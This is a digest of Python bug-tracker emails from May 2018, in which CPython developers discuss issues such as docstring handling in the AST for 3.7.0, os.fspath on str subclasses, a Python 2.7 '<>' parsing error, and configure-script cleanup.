: ---------- pull_requests: +6747 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 00:39:31 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 25 May 2018 04:39:31 +0000 Subject: [issue33616] typing.NoReturn is undocumented In-Reply-To: <1527078788.95.0.682650639539.issue33616@psf.upfronthosting.co.za> Message-ID: <1527223171.42.0.682650639539.issue33616@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6748 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 00:42:21 2018 From: report at bugs.python.org (Ned Deily) Date: Fri, 25 May 2018 04:42:21 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527223341.55.0.682650639539.issue32911@psf.upfronthosting.co.za> Ned Deily added the comment: Based on more recent discussions and indirect feedback from downstream users (primarily the recent IPython experience), I am reluctantly re-opening this issue for 3.7.0. I take responsibility for encouraging us earlier in the beta phase to continue with the feature as it stood, thereby prioritizing schedule over any technical issues. Although it is now very late in the 3.7.0 cycle, with the newly expressed concerns my opinion has changed: I think we owe it to our downstream users to think about this one more time. I agree with Benjamin's remark that it is very late in the 3.7 cycle to be considering new or revised APIs for 3.7.0. So it seems to me we have only two practical alternatives at this point: A. Proceed with 3.7.0rc1 as planned with the docstrings feature as it now stands and consider API changes for 3.8. or B. Revert the feature now for 3.7.0, retargeting for 3.8, and produce a 3.7.0b5 on a somewhat shorter cycle to allow downstream users to adapt to the removal. I don't know how controversial making this decision will be but I think we need to move quickly as this is now *the* blocker for 3.7.0. Coming now at the start of a weekend, in some countries a 3-day holiday weekend, I do want to make sure that the major stakeholders involved with this issue get a chance to "vote", although ultimately it will be up to the release manager (me) to make the final decision. So, to be clear, we will not be deciding here and now what the API should be if we were to retarget for 3.8; please save that discussion for later. The only question open right now is a vote for either option A (proceed as is) or option B (revert for 3.7 and retarget). Let's set a limit for "voting" until Tuesday 2018-05-29 18:00 UTC (to cover the holiday weekend) with the proviso that if a clear consensus one way or the other appears before that we may cut the period short and proceed to implemention. I know this is not a pleasant task especially at this late date. I apologize to everyone, especially to Inada-san, for dragging this out. I certainly appreciate the hard work that has gone into this feature so far and look forward to seeing it in either 3.7 or 3.8. ---------- priority: -> release blocker resolution: wont fix -> stage: resolved -> commit review status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 02:44:08 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 06:44:08 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527230648.74.0.682650639539.issue33623@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It is okay if the fact that half of the objects are freed leads to raising exceptions. But an assertion failure is sign of bugs in Python core or the _asyncio module. PR 7080 removes one way of exposing these bugs, but bugs itself still are here, and there may be other ways of triggering a crash. Can this crash be reproduced without uvloop? What is the backtrace of the assertion failure? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 03:18:46 2018 From: report at bugs.python.org (Zvi Effron) Date: Fri, 25 May 2018 07:18:46 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1527232726.82.0.682650639539.issue26819@psf.upfronthosting.co.za> Change by Zvi Effron : ---------- pull_requests: +6749 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 03:39:19 2018 From: report at bugs.python.org (Piotr Dybowski) Date: Fri, 25 May 2018 07:39:19 +0000 Subject: [issue33643] Mock functions with autospec STILL don't support assert_called_once, assert_called, assert_not_called Message-ID: <1527233959.88.0.682650639539.issue33643@psf.upfronthosting.co.za> New submission from Piotr Dybowski : This is the same issue as: https://bugs.python.org/issue28380. It seems that fix has never been merged, ---------- components: Library (Lib) messages: 317659 nosy: dybi priority: normal severity: normal status: open title: Mock functions with autospec STILL don't support assert_called_once, assert_called, assert_not_called type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 04:02:54 2018 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 25 May 2018 08:02:54 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527235374.1.0.682650639539.issue32374@psf.upfronthosting.co.za> Petr Viktorin added the comment: > That's a weak test: if the script fails before calling spec.loader.create_module(), the test also pass. If the function raises an exception but don't crash, the test pass as well. That's a good argument, thanks. Marcel, would you mind adding a patch for that? > More generally, I'm not sure about the idea of making sure that doing bad stuff with traverse does crash. What is the purpose of the test? This particular kind of bad traverse is quite easy to write if an extension author doesn't read docs carefully, or has read an old version of them (before the fix here). And resulting errors aren't too obvious. So, there's code to crash early and loudly in "--with-pydebug" for simple oversight cases. See comment at the call site of bad_traverse_test in Objects/moduleobject.c And since there's code, there's a test to make sure it works :) > In the meanwhile, I fixed bpo-33629 by adding test.support.SuppressCrashReport(). Thanks! Didn't know about that one, will keep it in mind for next time! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 04:03:37 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Fri, 25 May 2018 08:03:37 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1527235417.28.0.682650639539.issue26819@psf.upfronthosting.co.za> Andrew Svetlov added the comment: New changeset 749afe81ec0a4b92ad6b89a67c82f2c04f79c5ac by Andrew Svetlov (CtrlZvi) in branch '3.6': [3.6] bpo-26819: Prevent proactor double read on resume (GH-6921) (#7110) https://github.com/python/cpython/commit/749afe81ec0a4b92ad6b89a67c82f2c04f79c5ac ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 04:03:58 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Fri, 25 May 2018 08:03:58 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1527235438.18.0.682650639539.issue26819@psf.upfronthosting.co.za> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 04:49:30 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 08:49:30 +0000 Subject: [issue33644] Fix signatures of tp_finalize handlers in testing code. Message-ID: <1527238170.64.0.682650639539.issue33644@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : tp_finalize handlers in Modules/_testmultiphase.c and Modules/_testmultiphase.c return int. This signature is incompatible with the signature of the tp_finalize slot. They should not return any value. ---------- components: Tests messages: 317662 nosy: serhiy.storchaka priority: normal severity: normal status: open title: Fix signatures of tp_finalize handlers in testing code. type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 04:50:59 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 08:50:59 +0000 Subject: [issue33644] Fix signatures of tp_finalize handlers in testing code. In-Reply-To: <1527238170.64.0.682650639539.issue33644@psf.upfronthosting.co.za> Message-ID: <1527238259.46.0.682650639539.issue33644@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6750 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 04:53:50 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 08:53:50 +0000 Subject: [issue24373] Use traverse & finalize in xxlimited and in PEP 489 tests In-Reply-To: <1433337661.83.0.639894570386.issue24373@psf.upfronthosting.co.za> Message-ID: <1527238430.25.0.682650639539.issue24373@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: tp_finalize handlers should return "void". See issue33644. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 05:17:42 2018 From: report at bugs.python.org (Florian Schulze) Date: Fri, 25 May 2018 09:17:42 +0000 Subject: [issue33645] Importing bs4 fails with -3 option in Python 2.7.15 Message-ID: <1527239862.03.0.682650639539.issue33645@psf.upfronthosting.co.za> New submission from Florian Schulze : Since Python 2.7.15 import bs4 (BeautifulSoup4) fails when using the -3 option on the Python binary. ... 'You are trying to run the Python 2 version of Beautiful Soup under Python 3. This will not work.'<>'You need to convert the code, either by installing it (`python setup.py install`) or by running 2to3 (`2to3 -w bs4`).' ^ SyntaxError: unknown parsing error With 2.7.14 this works fine and I get the expected deprecation warning. A workaround is to import the package without -3 first, so the .pyc file is generated and used in subsequent imports. ---------- components: Interpreter Core messages: 317664 nosy: fschulze priority: normal severity: normal status: open title: Importing bs4 fails with -3 option in Python 2.7.15 type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 05:59:28 2018 From: report at bugs.python.org (Min RK) Date: Fri, 25 May 2018 09:59:28 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527242368.43.0.682650639539.issue32911@psf.upfronthosting.co.za> Min RK added the comment: In the A/B vote, I cast mine for B, for what it is worth, but it is not strongly held. >From the IPython side, I don't view our particular issue as a major regression for users. The only affected case for us is interactively typed string literals in single statement cells not displaying themselves as results. Since the same string is necessarily already displayed in the input, this isn't a huge deal. This is pretty rare (maybe folks do this while investigating unicode issues?) and we can handle it by recompiling empty modules with 'single' instead of the usual 'exec' that we use because most IPython inputs are multi-statement cells coming from things like notebooks. It's relevant to note that *any* logic in the cell, e.g. `"%i" % 1` or additional statements have no issues. The proposed 'muliline' or 'interactive' compile mode would suit IPython very well, since that's what we really want - single * N, not actually a module, and this is illustrated by the way we do execution: compile with exec, then iterate through module.body and run the nodes one at a time. ---------- nosy: +minrk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 06:00:01 2018 From: report at bugs.python.org (Joseph Martinot-Lagarde) Date: Fri, 25 May 2018 10:00:01 +0000 Subject: [issue33646] os.fspath() bypasses __fspath__ for str subclasses Message-ID: <1527242401.32.0.682650639539.issue33646@psf.upfronthosting.co.za> New submission from Joseph Martinot-Lagarde : os.fspath() returns its argument if it is a str. That means that it bypasses __fspath__ for str subclasses. This is the case for the library path.py for example. This is a corner case that was discovered while trying to fix https://github.com/matplotlib/matplotlib/issues/11306 Minimal example: ``` import os class MyPath(str): def __fspath__(self): print("Returns a pure string") return str(self) os.fspath(MyPath()) # Prints nothing ``` ---------- components: Library (Lib) messages: 317666 nosy: contrebasse priority: normal severity: normal status: open title: os.fspath() bypasses __fspath__ for str subclasses type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 06:12:30 2018 From: report at bugs.python.org (Marcos Dione) Date: Fri, 25 May 2018 10:12:30 +0000 Subject: [issue26826] Expose new copy_file_range() syscall in os module. In-Reply-To: <1461325239.41.0.30054024313.issue26826@psf.upfronthosting.co.za> Message-ID: <1527243149.99.0.682650639539.issue26826@psf.upfronthosting.co.za> Marcos Dione added the comment: I'm really sorry, but I don't have time to continue with this (new daughter!). Can someone else pick it up? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 06:16:54 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 10:16:54 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527243414.25.0.682650639539.issue33012@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset ef91ddeae79497fac25545dd68ee55a5a3c60e8d by Serhiy Storchaka in branch '3.7': bpo-33012: Add -Wno-cast-function-type for gcc 8. (GH-6757) https://github.com/python/cpython/commit/ef91ddeae79497fac25545dd68ee55a5a3c60e8d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 06:17:09 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 25 May 2018 10:17:09 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527243429.73.0.682650639539.issue33012@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6751 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 06:41:17 2018 From: report at bugs.python.org (Eitan Adler) Date: Fri, 25 May 2018 10:41:17 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527244877.93.0.682650639539.issue32911@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 06:41:45 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 25 May 2018 10:41:45 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527244905.56.0.682650639539.issue33642@psf.upfronthosting.co.za> Cheryl Sabella added the comment: I know we usually don't change defaults, but I had tested this one and I think it works. After I changed it to 15 lines in master, I opened the installed version of IDLE 2.7. Although it showed 15 fixed lines, it made sense since that was the number of lines in the 3.8 version. I figured a typical user would be using whichever version of IDLE comes with their current Python. So, at some point the OS would upgrade it and they would be moving from a version with fixed lines to a version with variable lines (for Python 3). If they had previously changed their settings, it would still use whatever they had changed it to as the limit, but now the context area would grow and shrink (so they would know the change exists). If they hadn't customized their settings, it would just change from 3 to 15. If the user switches between two versions (like when I tested with 2.7), then I think seeing the changes almost makes more sense to them. They can see it at 15 in the new version and watch it grow and shrink. Then it the 2.7 version, it looks the same, but without the expansion/contraction. It's a demonstration of what makes the variable sizing nice to have. Although it may lead to someone wanting it in 2.7. :-) Anyway, that was my thinking process. When you try it out, you may not agree, but it made sense to me when I saw what was happening. Note: one time this didn't quite work was when I set the line limit to 90. 3.8 worked great -- just like it had with 15 (that is, it never ate the whole editor window). But, under 2.7, it ate the whole window and without the `reload` in codecontext, changing the config didn't help until I restarted IDLE. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 07:03:04 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 25 May 2018 11:03:04 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527246184.06.0.682650639539.issue33012@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 20b797dafa149afcdd7b64e489eb8ea1386d8eb4 by Miss Islington (bot) in branch '3.6': bpo-33012: Add -Wno-cast-function-type for gcc 8. (GH-6757) https://github.com/python/cpython/commit/20b797dafa149afcdd7b64e489eb8ea1386d8eb4 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 07:08:06 2018 From: report at bugs.python.org (Eitan Adler) Date: Fri, 25 May 2018 11:08:06 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527246486.65.0.682650639539.issue33012@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 08:15:37 2018 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 25 May 2018 12:15:37 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527250537.76.0.682650639539.issue32911@psf.upfronthosting.co.za> Nick Coghlan added the comment: Ouch, I'd completely missed the fact that this would affect the parsing of bare strings to a simple AST (I was focused on functions and classes, as in Mark's original example). So even though I'm the author of https://bugs.python.org/issue11549#msg193656 (where I note that we consider it reasonable for AST manipulation code to require updates when going between major Python versions), I'm reluctantly voting "B", since there's a difference between "some AST manipulation code will need to change to account for new node types and arrangements" and "all code calling ast.parse with the default mode and processing the top level node will need to change to account for docstrings now being omitted from the module body, with no readily available quick fix to get the old behaviour back". (Note that in voting for option B, I'm really only objecting to the change when it comes to Module AST nodes - rather than full reversion, I'd also be OK with a change that duplicated the new docstring attribute as body[0] for modules, while continuing to eliminate the redundancy for functions and classes - this would be a more selective variant of Mark's "Option 1" proposal from back in February). ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 08:52:17 2018 From: report at bugs.python.org (Paal Pedersen) Date: Fri, 25 May 2018 12:52:17 +0000 Subject: [issue33647] Make string.replace accept **kwargs instead of two arguments Message-ID: <1527252737.56.0.682650639539.issue33647@psf.upfronthosting.co.za> New submission from Paal Pedersen : It would be really nice if the python core function string.replace is modifed to accept **kwargs instead of 2 arguments. then you could just do: kwargs = {'my': 'yours', 'string': 'car'} >>>'this is my string'.replace(kwargs) 'this is your car' ---------- messages: 317672 nosy: paalped priority: normal severity: normal status: open title: Make string.replace accept **kwargs instead of two arguments type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 09:55:24 2018 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 25 May 2018 13:55:24 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1527256524.11.0.682650639539.issue33547@psf.upfronthosting.co.za> Nick Coghlan added the comment: Not as a statement, but you can force it with importlib.import_module: $ python3 -c "import pkg; pkg.submodule = 1; import importlib; importlib.import_module('.submodule', 'pkg'); print(pkg.submodule)" pkg pkg.submodule We're getting off-topic for the issue tracker now, though - it's more a Stack Overflow type usage question (and the preferred answer would be to eliminate whatever's causing the shadowing problem in the originating module). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:00:08 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 14:00:08 +0000 Subject: [issue33646] os.fspath() bypasses __fspath__ for str subclasses In-Reply-To: <1527242401.32.0.682650639539.issue33646@psf.upfronthosting.co.za> Message-ID: <1527256808.65.0.682650639539.issue33646@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It works as documented. https://docs.python.org/3/library/os.html#os.fspath https://www.python.org/dev/peps/pep-0519/ ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:03:32 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 14:03:32 +0000 Subject: [issue33645] Importing bs4 fails with -3 option in Python 2.7.15 In-Reply-To: <1527239862.03.0.682650639539.issue33645@psf.upfronthosting.co.za> Message-ID: <1527257012.19.0.682650639539.issue33645@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The Python interpreter itself does not have references to Beautiful Soup. This error is generated by third-party code. Report a bug on the Beautiful Soup bug tracker. ---------- nosy: +serhiy.storchaka resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:03:53 2018 From: report at bugs.python.org (Eitan Adler) Date: Fri, 25 May 2018 14:03:53 +0000 Subject: [issue33647] Make string.replace accept **kwargs instead of two arguments In-Reply-To: <1527252737.56.0.682650639539.issue33647@psf.upfronthosting.co.za> Message-ID: <1527257033.53.0.682650639539.issue33647@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:11:51 2018 From: report at bugs.python.org (Eitan Adler) Date: Fri, 25 May 2018 14:11:51 +0000 Subject: [issue33648] unused with_c_locale_warning option in configure should be removed Message-ID: <1527257511.03.0.682650639539.issue33648@psf.upfronthosting.co.za> New submission from Eitan Adler : There is an option for --with-c-locale-warning which was turned into a run-time option in eb81795d7d3a8c898fa89a376d63fc3bbfb9a081. The configuration should be cleaned up. ---------- messages: 317676 nosy: eitan.adler priority: normal severity: normal status: open title: unused with_c_locale_warning option in configure should be removed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:14:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 14:14:35 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527257675.24.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:15:26 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 25 May 2018 14:15:26 +0000 Subject: [issue33648] unused with_c_locale_warning option in configure should be removed In-Reply-To: <1527257511.03.0.682650639539.issue33648@psf.upfronthosting.co.za> Message-ID: <1527257726.77.0.682650639539.issue33648@psf.upfronthosting.co.za> STINNER Victor added the comment: It's related to the PEP 538. Note: see also the PEP 540 (not directly related). ---------- nosy: +ncoghlan, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:16:29 2018 From: report at bugs.python.org (Eitan Adler) Date: Fri, 25 May 2018 14:16:29 +0000 Subject: [issue33648] unused with_c_locale_warning option in configure should be removed In-Reply-To: <1527257511.03.0.682650639539.issue33648@psf.upfronthosting.co.za> Message-ID: <1527257789.3.0.682650639539.issue33648@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6752 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:31:59 2018 From: report at bugs.python.org (Florian Schulze) Date: Fri, 25 May 2018 14:31:59 +0000 Subject: [issue33645] Importing bs4 fails with -3 option in Python 2.7.15 In-Reply-To: <1527239862.03.0.682650639539.issue33645@psf.upfronthosting.co.za> Message-ID: <1527258719.44.0.682650639539.issue33645@psf.upfronthosting.co.za> Florian Schulze added the comment: Yes, it's third party code, but that worked up until Python 2.7.14 and only broke with 2.7.15, which is why I reported it here. The expected behaviour is not a SyntaxError, but a DeprecationWarning, which is what you get pre Python 2.7.15. So this is a regression. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:38:22 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Fri, 25 May 2018 14:38:22 +0000 Subject: [issue26826] Expose new copy_file_range() syscall in os module. In-Reply-To: <1461325239.41.0.30054024313.issue26826@psf.upfronthosting.co.za> Message-ID: <1527259102.38.0.682650639539.issue26826@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: Check for availability in configure.ac appears to be broken. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 10:43:17 2018 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 25 May 2018 14:43:17 +0000 Subject: [issue33648] unused with_c_locale_warning option in configure should be removed In-Reply-To: <1527257511.03.0.682650639539.issue33648@psf.upfronthosting.co.za> Message-ID: <1527259397.57.0.682650639539.issue33648@psf.upfronthosting.co.za> Nick Coghlan added the comment: Huh, I thought I cleaned those out when I made the compilation unconditional. I guess not :) The actual fix looks good to me, but the autoconf regeneration looks unexpectedly noisy, so I've asked Benjamin Peterson to take a look at it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 11:34:31 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 15:34:31 +0000 Subject: [issue33645] Importing bs4 fails with -3 option in Python 2.7.15 In-Reply-To: <1527239862.03.0.682650639539.issue33645@psf.upfronthosting.co.za> Message-ID: <1527262471.98.0.682650639539.issue33645@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Ah, I was fooled by the message about Beautiful Soup. It is not a message of an error, it is a part of source line, printed for a SyntaxError. Seems sources of Beautiful Soup intentionally contain a code invalid in Python 3. There is a bug in Python. The tokenizer returns error E_OK, but it should never return such error code. The AST parser is confused and raises a SyntaxError with the message "unknown parsing error". This bug is reproduced when run Python wish both options -3 and -We and parse the "<>" operator. $ ./python -3 -We -c '[] <> []' error=10 File "", line 1 [] <> [] ^ SyntaxError: unknown parsing error But it is reproduced with 2.7.14 too. ---------- resolution: third party -> stage: resolved -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 11:35:55 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 15:35:55 +0000 Subject: [issue33645] Importing bs4 fails with -3 option in Python 2.7.15 In-Reply-To: <1527239862.03.0.682650639539.issue33645@psf.upfronthosting.co.za> Message-ID: <1527262555.54.0.682650639539.issue33645@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6753 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 11:40:13 2018 From: report at bugs.python.org (Eitan Adler) Date: Fri, 25 May 2018 15:40:13 +0000 Subject: [issue33648] unused with_c_locale_warning option in configure should be removed In-Reply-To: <1527257511.03.0.682650639539.issue33648@psf.upfronthosting.co.za> Message-ID: <1527262813.35.0.682650639539.issue33648@psf.upfronthosting.co.za> Eitan Adler added the comment: yeah, I was looking at that too. I think someone else modified related files but never ran a regen (or did so with different tooling than I). Even on master, my regen results in changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 11:45:50 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Fri, 25 May 2018 15:45:50 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527263150.35.0.682650639539.issue32911@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: ?ukasz Langa wrote: > Inadasan, I think what we should do is to amend `ast.parse()` and `compile()` docs that mode="exec" treats given code as a module, we should even give the docstring handling as an example. That is what I proposed in https://bugs.python.org/issue33477 and in PR https://github.com/python/cpython/pull/6973 The other surprise, is that even is I knew AST were change and had a docstring field I was not expecting `compile()` to be affected. I think that the change for ast to have a docstring field is a good one from an API point of view for ast nodes. But It should probably be opt-in, at least with a deprecation period to make it the default. The other issue is that as it affect only sequence of statement where the first node is (was) a string, it can lead to really subtle difference in execution. MinRk said: > The only affected case for us is interactively typed string literals in single statement cells not displaying themselves as results It might affect our downstream consumers that have syntax/ast transformation like sage, sympy on top of IPython. I doubt we have any but it's a possibility. While I would prefer (B) as well, I see how the new behavior can be useful in some case, and strongly also support the addition of a `multiline` mode, which correspond to what 3.6 and before were doing with `exec`. The other possibility is to leave `exec` and `ast.parse` with 3.6 behavior, and include a `'module'` mode that does reflect current 3.7 behavior. ---------- nosy: +mbussonn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 11:48:02 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 25 May 2018 15:48:02 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527263282.76.0.682650639539.issue32374@psf.upfronthosting.co.za> STINNER Victor added the comment: """ This particular kind of bad traverse is quite easy to write if an extension author doesn't read docs carefully, or has read an old version of them (before the fix here). And resulting errors aren't too obvious. So, there's code to crash early and loudly in "--with-pydebug" for simple oversight cases. See comment at the call site of bad_traverse_test in Objects/moduleobject.c And since there's code, there's a test to make sure it works :) """ Oh ok, it makes sense. Maybe the test should test at least just before spec.loader.create_module(). Maybe using a print(). "Thanks! Didn't know about that one, will keep it in mind for next time!" The problem is that by default, on Linux, we don't dump core files on the current directory. So such bug is silent on Linux. But it's commonly detected on FreeBSD since I configured the test runner to fail if it leaves a new file. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 12:04:33 2018 From: report at bugs.python.org (R. David Murray) Date: Fri, 25 May 2018 16:04:33 +0000 Subject: [issue33647] Make string.replace accept a dict instead of two arguments In-Reply-To: <1527252737.56.0.682650639539.issue33647@psf.upfronthosting.co.za> Message-ID: <1527264273.35.0.682650639539.issue33647@psf.upfronthosting.co.za> R. David Murray added the comment: That is not kwargs, that's a passing a dict. Which is what you would want, since the strings you want to replace might not be valid identifiers, and so couldn't be passed as keyword arguments. I think I'm -0.5 on this. I don't think complicating the api is worth the benefit, given that you can already chain replace calls. (And note that before dicts became ordered by language definition this would have been a non-starter, which is probably also a mark against it.) ---------- nosy: +r.david.murray title: Make string.replace accept **kwargs instead of two arguments -> Make string.replace accept a dict instead of two arguments _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 12:04:42 2018 From: report at bugs.python.org (R. David Murray) Date: Fri, 25 May 2018 16:04:42 +0000 Subject: [issue33647] Make string.replace accept a dict instead of two arguments In-Reply-To: <1527252737.56.0.682650639539.issue33647@psf.upfronthosting.co.za> Message-ID: <1527264282.3.0.682650639539.issue33647@psf.upfronthosting.co.za> Change by R. David Murray : ---------- versions: -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:10:57 2018 